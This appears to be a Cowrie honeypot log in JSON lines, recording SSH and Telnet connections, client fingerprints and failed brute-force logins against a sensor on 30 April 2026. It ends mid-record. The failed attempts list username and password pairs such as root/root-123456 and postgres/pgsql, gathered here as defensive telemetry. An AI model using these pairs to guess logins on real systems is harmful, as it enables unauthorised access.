{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":33486,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed137effa6ad","protocol":"ssh","message":"New connection: 13.67.236.135:33486 (159.203.135.109:22) [session: ed137effa6ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:28.110354Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:28.116552Z","src_ip":"13.67.236.135","session":"ed137effa6ad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:28.156529Z","src_ip":"13.67.236.135","session":"ed137effa6ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root-123456","message":"login attempt [root/root-123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:28.344452Z","src_ip":"13.67.236.135","session":"ed137effa6ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:29.388261Z","src_ip":"13.67.236.135","session":"ed137effa6ad","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":43504,"dst_ip":"159.203.135.109","dst_port":22,"session":"71ab08c98253","protocol":"ssh","message":"New connection: 186.96.151.198:43504 (159.203.135.109:22) [session: 71ab08c98253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:31.656937Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:31.663667Z","src_ip":"186.96.151.198","session":"71ab08c98253","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:31.746562Z","src_ip":"186.96.151.198","session":"71ab08c98253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"qwerty","message":"login attempt [sshuser/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:32.032997Z","src_ip":"186.96.151.198","session":"71ab08c98253","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":44578,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb897ca717d5","protocol":"ssh","message":"New connection: 43.157.90.107:44578 (10.17.0.5:22) [session: cb897ca717d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:32.991327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:32.997189Z","src_ip":"43.157.90.107","session":"cb897ca717d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:33.091430Z","src_ip":"43.157.90.107","session":"cb897ca717d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:33.099609Z","src_ip":"186.96.151.198","session":"71ab08c98253","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"test123","message":"login attempt [mysql/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:33.507996Z","src_ip":"43.157.90.107","session":"cb897ca717d5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:34.604890Z","src_ip":"43.157.90.107","session":"cb897ca717d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.86.177.43","src_port":48800,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b7291fb6bc0","protocol":"telnet","message":"New connection: 67.86.177.43:48800 (159.203.135.109:23) [session: 9b7291fb6bc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:00:50.114183Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.157.90.107","src_port":33392,"dst_ip":"10.17.0.5","dst_port":22,"session":"f5364e46beae","protocol":"ssh","message":"New connection: 43.157.90.107:33392 (10.17.0.5:22) [session: f5364e46beae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:21.476938Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:21.482401Z","src_ip":"43.157.90.107","session":"f5364e46beae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:21.579924Z","src_ip":"43.157.90.107","session":"f5364e46beae","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.55.224.44","src_port":48180,"dst_ip":"10.17.0.5","dst_port":22,"session":"7cd0f54f238f","protocol":"ssh","message":"New connection: 79.55.224.44:48180 (10.17.0.5:22) [session: 7cd0f54f238f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:21.860492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:21.867698Z","src_ip":"79.55.224.44","session":"7cd0f54f238f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"minecraft1","message":"login attempt [minecraft/minecraft1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:21.975587Z","src_ip":"43.157.90.107","session":"f5364e46beae","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:21.982027Z","src_ip":"79.55.224.44","session":"7cd0f54f238f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"develop","password":"develop@123","message":"login attempt [develop/develop@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:22.470844Z","src_ip":"79.55.224.44","session":"7cd0f54f238f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:23.071265Z","src_ip":"43.157.90.107","session":"f5364e46beae","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:23.588585Z","src_ip":"79.55.224.44","session":"7cd0f54f238f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.96.151.198","src_port":33744,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d58161065bb","protocol":"ssh","message":"New connection: 186.96.151.198:33744 (159.203.135.109:22) [session: 6d58161065bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:27.142484Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:27.148371Z","src_ip":"186.96.151.198","session":"6d58161065bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:27.211467Z","src_ip":"186.96.151.198","session":"6d58161065bb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.67.236.135","src_port":35160,"dst_ip":"159.203.135.109","dst_port":22,"session":"a240a30d1054","protocol":"ssh","message":"New connection: 13.67.236.135:35160 (159.203.135.109:22) [session: a240a30d1054]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:27.418088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:27.422887Z","src_ip":"13.67.236.135","session":"a240a30d1054","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:27.463244Z","src_ip":"13.67.236.135","session":"a240a30d1054","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"pgsql","message":"login attempt [postgres/pgsql] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:27.488640Z","src_ip":"186.96.151.198","session":"6d58161065bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Passw0rd#1","message":"login attempt [root/Passw0rd#1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:27.655064Z","src_ip":"13.67.236.135","session":"a240a30d1054","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:28.559910Z","src_ip":"186.96.151.198","session":"6d58161065bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:28.697741Z","src_ip":"13.67.236.135","session":"a240a30d1054","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"54.86.179.2","src_port":25008,"dst_ip":"159.203.135.109","dst_port":22,"session":"3be4e25426d1","protocol":"ssh","message":"New connection: 54.86.179.2:25008 (159.203.135.109:22) [session: 3be4e25426d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:37.400278Z"}
{"eventid":"cowrie.session.connect","src_ip":"223.17.5.126","src_port":55432,"dst_ip":"10.17.0.5","dst_port":22,"session":"d011b7c6eb0a","protocol":"ssh","message":"New connection: 223.17.5.126:55432 (10.17.0.5:22) [session: d011b7c6eb0a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:37.918741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:37.924685Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:38.177016Z","src_ip":"223.17.5.126","session":"d011b7c6eb0a","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T00:01:38.754220Z","src_ip":"54.86.179.2","session":"3be4e25426d1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"9052c4ab4164c78256e71143dcfc7eac","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-